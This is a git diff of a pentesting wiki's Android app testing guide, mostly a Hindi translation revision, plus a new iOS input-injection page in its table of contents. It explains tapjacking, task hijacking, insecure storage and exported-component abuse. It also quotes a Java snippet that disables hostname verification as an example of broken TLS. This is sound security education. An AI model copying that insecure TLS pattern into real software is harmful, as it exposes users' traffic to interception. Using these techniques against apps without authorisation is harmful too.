diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2d79a9aa6..188446a3f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -348,6 +348,7 @@ - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) - [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md) - [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md) + - [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md) - [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md) - [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md) - [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 8cb81ec47..48659445f 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -13,7 +13,7 @@ android-applications-basics.md ## ADB (Android Debug Bridge) यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\ -**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स का पढ़ना**, और अन्य कार्यों को सक्षम बनाती है। +**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स को पढ़ने** जैसी अन्य कार्यों को सक्षम बनाती है। ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें। @@ -26,7 +26,7 @@ ADB का उपयोग कैसे करें, यह जानने क - [Play Store में अपनी स्थिति को धोखा देना](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-आधारित गैर-रूट विशेषाधिकार पहुंच)](shizuku-privileged-api.md) -- [असुरक्षित इन-ऐप अपडेट तंत्र का शोषण](insecure-in-app-update-rce.md) +- [असुरक्षित इन-ऐप अपडेट तंत्र का शोषण करना](insecure-in-app-update-rce.md) - **APK डाउनलोड करें**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Extract APK from device: ```bash @@ -47,96 +47,102 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Static Analysis +## केस स्टडीज़ और कमजोरियाँ -सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **decompiler** का उपयोग करके **Java कोड** पर एक नज़र डालनी चाहिए।\ -कृपया, [**विभिन्न उपलब्ध decompilers के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md). +{{#ref}} +../ios-pentesting/air-keyboard-remote-input-injection.md +{{#endref}} -### Looking for interesting Info +## स्थैतिक विश्लेषण -APK के **strings** पर एक नज़र डालकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **backdoors** या प्रमाणीकरण backdoors (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल) के लिए भी देखें। +सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **Java कोड पर नज़र डालनी चाहिए** एक डिकंपाइलर का उपयोग करके।\ +कृपया, [**विभिन्न उपलब्ध डिकंपाइलरों के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md)। + +### दिलचस्प जानकारी की तलाश + +APK के **strings** पर नज़र डालकर आप **पासवर्ड**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** कुंजी, **एन्क्रिप्शन**, **ब्लूटूथ uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **बैकडोर** या प्रमाणीकरण बैकडोर (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल) के लिए भी देखें। **Firebase** -**firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ FIrebase के बारे में और जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**Firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ Firebase के बारे में अधिक जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Basic understanding of the application - Manifest.xml, strings.xml +### एप्लिकेशन की मूल समझ - Manifest.xml, strings.xml -एक एप्लिकेशन के _Manifest.xml_ और **_strings.xml_** फ़ाइलों की **जांच संभावित सुरक्षा कमजोरियों को प्रकट कर सकती है**। इन फ़ाइलों को decompilers का उपयोग करके या APK फ़ाइल एक्सटेंशन को .zip में बदलकर और फिर इसे अनज़िप करके एक्सेस किया जा सकता है। +**एक एप्लिकेशन के _Manifest.xml_ और **_strings.xml_** फ़ाइलों की जांच संभावित सुरक्षा कमजोरियों को उजागर कर सकती है**। इन फ़ाइलों को डिकंपाइलरों का उपयोग करके या APK फ़ाइल एक्सटेंशन को .zip में बदलकर और फिर इसे अनज़िप करके एक्सेस किया जा सकता है। -**Manifest.xml** से पहचानी गई **Vulnerabilities** में शामिल हैं: +**Manifest.xml** से पहचानी गई **कमजोरियाँ** में शामिल हैं: -- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम में होती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को खोजने और शोषण करने के तरीके पर एक ट्यूटोरियल के लिए संदर्भित करें। -- **Backup Settings**: संवेदनशील जानकारी से निपटने वाले एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb debugging सक्षम हो। +- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में डिबग करने योग्य (`debuggable="true"`) के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, किसी डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने पर एक ट्यूटोरियल देखें। +- **Backup Settings**: संवेदनशील जानकारी से निपटने वाली एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb डिबगिंग सक्षम हो। - **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स को निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है। - **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए। - **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत पहुंच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए। -- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान केंद्रित करते हुए। +- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL स्कीमों के प्रबंधन के तरीके पर ध्यान देने के साथ। - **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं। -**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API keys, कस्टम स्कीम और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है। +**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API कुंजी, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है। ### Tapjacking -**Tapjacking** एक हमला है जहां एक **malicious** **application** लॉन्च किया जाता है और **पीड़ित एप्लिकेशन के शीर्ष पर खुद को रखता है**। जब यह स्पष्ट रूप से पीड़ित ऐप को अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के साथ पास कर रहा है।\ +**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\ इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**। -अधिक जानकारी प्राप्त करें: +अधिक जानकारी के लिए देखें: {{#ref}} tapjacking.md {{#endref}} -### Task Hijacking +### टास्क हाईजैकिंग -एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (ताकि उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा हो, यह सोचते हुए कि वह असली का उपयोग कर रहा है)। +एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, टास्क हाईजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाईजैक कर सकता है** (इसलिए उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा है यह सोचते हुए कि वह असली का उपयोग कर रहा है**)। -अधिक जानकारी में: +अधिक जानकारी के लिए: {{#ref}} android-task-hijacking.md {{#endref}} -### Insecure data storage +### असुरक्षित डेटा भंडारण -**Internal Storage** +**आंतरिक भंडारण** -Android में, **internal** storage में **stored** फ़ाइलें केवल उस **app** द्वारा **access** करने के लिए **designed** होती हैं जिसने उन्हें **created** किया है। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते, जिसमें संभावित रूप से दुर्भावनापूर्ण एप्लिकेशन भी शामिल हैं। +Android में, फ़ाइलें **आंतरिक** भंडारण में **स्टोर की गई** होती हैं और इन्हें केवल **ऐप** द्वारा **एक्सेस** करने के लिए डिज़ाइन किया गया है जिसने इन्हें **बनाया** है। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **लागू** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **शेयर** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **सीमित नहीं करते**, जिसमें संभावित रूप से दुष्ट एप्लिकेशन भी शामिल हैं। -1. **Static Analysis:** -- **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **unintended or unauthorized access** के लिए **potentially expose** कर सकते हैं। -2. **Dynamic Analysis:** -- **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर सेट की गई **permissions** क्या हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **read or modify** करने की अनुमति देगा। +1. **स्थैतिक विश्लेषण:** +- **सुनिश्चित करें** कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **ध्यानपूर्वक जांचा गया है**। ये मोड फ़ाइलों को **अनपेक्षित या अनधिकृत पहुंच** के लिए **खुला** कर सकते हैं। +2. **गतिशील विश्लेषण:** +- **जांचें** कि ऐप द्वारा बनाई गई फ़ाइलों पर **अनुमतियाँ** सेट की गई हैं। विशेष रूप से, **जांचें** कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **पढ़ने या संशोधित करने** की अनुमति देगा। -**External Storage** +**बाहरी भंडारण** -**External storage** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए: +**बाहरी भंडारण** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए: -1. **Accessibility**: -- बाहरी संग्रहण पर फ़ाइलें **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है। -2. **Security Concerns**: -- पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी संग्रहण पर **न रखें**। -- बाहरी संग्रहण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है। -3. **Handling Data from External Storage**: -- हमेशा बाहरी संग्रहण से प्राप्त डेटा पर **input validation** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है। -- बाहरी संग्रहण पर executable या class फ़ाइलों को गतिशील लोडिंग के लिए रखना दृढ़ता से हतोत्साहित किया जाता है। -- यदि आपके एप्लिकेशन को बाहरी संग्रहण से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed and cryptographically verified** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है। +1. **पहुँच**: +- बाहरी भंडारण पर फ़ाइलें **वैश्विक रूप से पढ़ने और लिखने योग्य** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है। +2. **सुरक्षा चिंताएँ**: +- पहुँच की आसानी को देखते हुए, **संवेदनशील जानकारी** को बाहरी भंडारण पर **स्टोर न करने** की सलाह दी जाती है। +- बाहरी भंडारण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है। +3. **बाहरी भंडारण से डेटा को संभालना**: +- हमेशा बाहरी भंडारण से प्राप्त डेटा पर **इनपुट मान्यता** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है। +- बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलों को गतिशील लोडिंग के लिए स्टोर करना दृढ़ता से हतोत्साहित किया जाता है। +- यदि आपकी एप्लिकेशन को बाहरी भंडारण से निष्पादन योग्य फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **हस्ताक्षरित और क्रिप्टोग्राफिक रूप से सत्यापित** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है। -बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **accessed** किया जा सकता है। +बाहरी भंडारण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **एक्सेस** किया जा सकता है। > [!TIP] -> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **किसी ऐप के लिए उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुर्भावनापूर्ण एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है। +> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **किसी ऐप को उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुष्ट एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है। -**Sensitive data stored in clear-text** +**स्पष्ट-टेक्स्ट में संग्रहीत संवेदनशील डेटा** -- **Shared preferences**: Android प्रत्येक एप्लिकेशन को `/data/data//shared_prefs/` पथ में xml फ़ाइलें आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट पाठ में संवेदनशील जानकारी मिल सकती है। -- **Databases**: Android प्रत्येक एप्लिकेशन को `/data/data//databases/` पथ में sqlite डेटाबेस को आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट पाठ में संवेदनशील जानकारी मिल सकती है। +- **Shared preferences**: Android प्रत्येक एप्लिकेशन को `/data/data//shared_prefs/` पथ में xml फ़ाइलें आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है। +- **Databases**: Android प्रत्येक एप्लिकेशन को `/data/data//databases/` पथ में sqlite डेटाबेस को आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है। -### Broken TLS +### टूटी हुई TLS -**Accept All Certificates** +**सभी प्रमाणपत्र स्वीकार करें** -किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं, भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो: +किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों से मेल न खाता हो: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -147,7 +153,7 @@ A good way to test this is to try to capture the traffic using some proxy like B **Poor Key Management Processes** -कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय स्टोरेज में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं करना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है। +कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय स्टोरेज में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं किया जाना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है। **Use of Insecure and/or Deprecated Algorithms** @@ -155,11 +161,11 @@ A good way to test this is to try to capture the traffic using some proxy like B ### Other checks -- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो जाए। +- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो सके। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखना चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए। -- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे देखना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है। +- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे जांचना चाहिए कि क्या एक **emulator** का उपयोग किया जा रहा है। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है। -- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/obfuscator का उपयोग किया गया था। +- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/ऑबफस्केटर का उपयोग किया गया था। ### React Native Application @@ -268,25 +274,25 @@ You need to activate the **debugging** options and it will be cool if you can ** **Logging** -डेवलपर्स को **debugging information** को सार्वजनिक रूप से उजागर करने के प्रति सतर्क रहना चाहिए, क्योंकि इससे संवेदनशील डेटा लीक हो सकता है। एप्लिकेशन लॉग की निगरानी के लिए [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` उपकरणों की सिफारिश की जाती है ताकि संवेदनशील जानकारी की पहचान और सुरक्षा की जा सके। **Pidcat** को इसके उपयोग में आसानी और पठनीयता के लिए पसंद किया जाता है। +Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. > [!WARNING] -> ध्यान दें कि **Android 4.0 से नए संस्करणों** में, **ऐप्लिकेशन केवल अपने स्वयं के लॉग तक पहुंचने में सक्षम होते हैं**। इसलिए ऐप्लिकेशन अन्य ऐप्स के लॉग तक पहुंच नहीं सकते।\ -> फिर भी, यह अनुशंसा की जाती है कि **संवेदनशील जानकारी को लॉग न करें**। +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Android का **clipboard-based** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। संवेदनशील अनुभागों के लिए **कॉपी/पेस्ट** कार्यों को अक्षम करना महत्वपूर्ण है, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए। +Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks. **Crash Logs** -यदि एक एप्लिकेशन **crash** होता है और **logs** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजना आवश्यक है, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए। +If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security. As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -ऐप्लिकेशन अक्सर Google Adsense जैसी सेवाओं को एकीकृत करते हैं, जो डेवलपर्स द्वारा अनुचित कार्यान्वयन के कारण अनजाने में **संवेदनशील डेटा लीक** कर सकते हैं। संभावित डेटा लीक की पहचान करने के लिए, यह सलाह दी जाती है कि **ऐप्लिकेशन के ट्रैफ़िक को इंटरसेप्ट करें** और देखें कि क्या कोई संवेदनशील जानकारी तीसरे पक्ष की सेवाओं को भेजी जा रही है। +Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services. ### SQLite DBs @@ -320,14 +326,14 @@ You can also start an exported activity from adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है। +**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को एक गतिविधि में `android:launchMode` के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है। > [!TIP] > ध्यान दें कि एक प्राधिकरण बायपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बायपास कैसे काम करता है और कौन सी जानकारी उजागर होती है। **संवेदनशील जानकारी का रिसाव** -**गतिविधियाँ परिणाम भी लौट सकती हैं**। यदि आप एक निर्यातित और असुरक्षित गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह एक संवेदनशील जानकारी का रिसाव है। +**गतिविधियाँ परिणाम भी लौटा सकती हैं**। यदि आप एक निर्यातित और असुरक्षित गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है। #### Tapjacking @@ -345,7 +351,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity [**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\ याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं। -सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया लौटाता है** (या नहीं)। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\ +सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटाता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** 